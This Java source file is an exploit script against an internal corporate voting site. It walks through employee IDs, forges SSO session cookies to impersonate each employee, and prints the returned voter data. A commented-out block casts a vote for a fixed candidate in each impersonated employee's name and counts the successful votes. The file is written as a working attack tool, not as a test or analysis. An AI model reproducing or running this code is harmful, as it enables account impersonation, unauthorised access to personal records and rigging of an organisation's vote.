package com.zghhost.codedemo.zp;

import com.alibaba.fastjson.JSONObject;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

/**
 * 招聘投票测试
 * @author guohua.zhang@zhaopin.com.cn
 * @Date 2019/1/3 13:35
 */
public class ZhaopinToupiaoTest {
    public static void main(String[] args)throws Exception{
        //我的工号  13075301
        int ri = 0;
        int empid = 13075300;

        while(true){
            try{
                URL u = new URL("http://vote.zhaopin.com/api/vote/queryVoterBaseInfo");
                HttpURLConnection conn = (HttpURLConnection)u.openConnection();
                conn.setRequestProperty("Cookie","INNER_AUTHENTICATION=1; ZPSSO_USER_EMPID="+ ++empid +"; ZPSSO_USER_INFO=%7B%22deptName%22%3A%22ZhaoPin+Ltd.%22%2C%22empRole%22%3A%220%22%2C%22isLeader%22%3Afalse%2C%22rdRole%22%3A%220%22%2C%22mngDeptId%22%3A%221%22%2C%22empSpirit%22%3A%220%22%2C%22extension%22%3A%22%22%2C%22ccName%22%3A%22default%22%2C%22deptId%22%3A%221%22%2C%22branchCompanyMngDeptId%22%3A%220%22%2C%22branchCompanyMngDeptName%22%3A%22%E9%9B%86%E5%9B%A2%E6%80%BB%E9%83%A8%22%2C%22salesLevel%22%3A%220%22%2C%22inCallinList%22%3Afalse%7D; ZPSSO_USER_NAME=1; ZPSSO_USER_PWD=1; BIGipServernginx_pools=1; JSESSIONID=1");

                BufferedReader bf = new BufferedReader(new InputStreamReader(conn.getInputStream()));

                StringBuffer sb = new StringBuffer();
                String line = null;
                while((line = bf.readLine()) != null){
                    sb.append(line);
                }

                JSONObject job = JSONObject.parseObject(sb.toString());

                JSONObject datajob = (JSONObject)job.get("data");
                JSONObject voterInfo = (JSONObject)datajob.get("voterInfo");


                String empName = voterInfo.get("empName").toString();
                String empNo = voterInfo.get("empNo").toString();


                if(empName != null && !"null".equals(empName)){
                    System.out.println(empid+"="+job.toString());
//                    URL ru = new URL("http://vote.zhaopin.com/api/vote/addVoteRecord?voterNo="+empNo+"&competitorNo=ZL19585");
//                    HttpURLConnection ruc = (HttpURLConnection)ru.openConnection();
//                    ruc.setRequestProperty("Cookie","INNER_AUTHENTICATION=1; ZPSSO_USER_EMPID="+ empid +"; ZPSSO_USER_INFO=%7B%22deptName%22%3A%22ZhaoPin+Ltd.%22%2C%22empRole%22%3A%220%22%2C%22isLeader%22%3Afalse%2C%22rdRole%22%3A%220%22%2C%22mngDeptId%22%3A%221%22%2C%22empSpirit%22%3A%220%22%2C%22extension%22%3A%22%22%2C%22ccName%22%3A%22default%22%2C%22deptId%22%3A%221%22%2C%22branchCompanyMngDeptId%22%3A%220%22%2C%22branchCompanyMngDeptName%22%3A%22%E9%9B%86%E5%9B%A2%E6%80%BB%E9%83%A8%22%2C%22salesLevel%22%3A%220%22%2C%22inCallinList%22%3Afalse%7D; ZPSSO_USER_NAME=1; ZPSSO_USER_PWD=1; BIGipServernginx_pools=1; JSESSIONID=1");
//
//                    BufferedReader rbf = new BufferedReader(new InputStreamReader(ruc.getInputStream()));
//
//                    StringBuffer rsb = new StringBuffer();
//                    String rline = null;
//                    while((rline = rbf.readLine()) != null){
//                        rsb.append(rline);
//                    }
//
//                    if(rsb.indexOf("success") != -1){
//                        System.out.println("+"+ ++ri);
//                    }
                }
            }catch (Exception e){
                continue;
            }

        }
    }
}
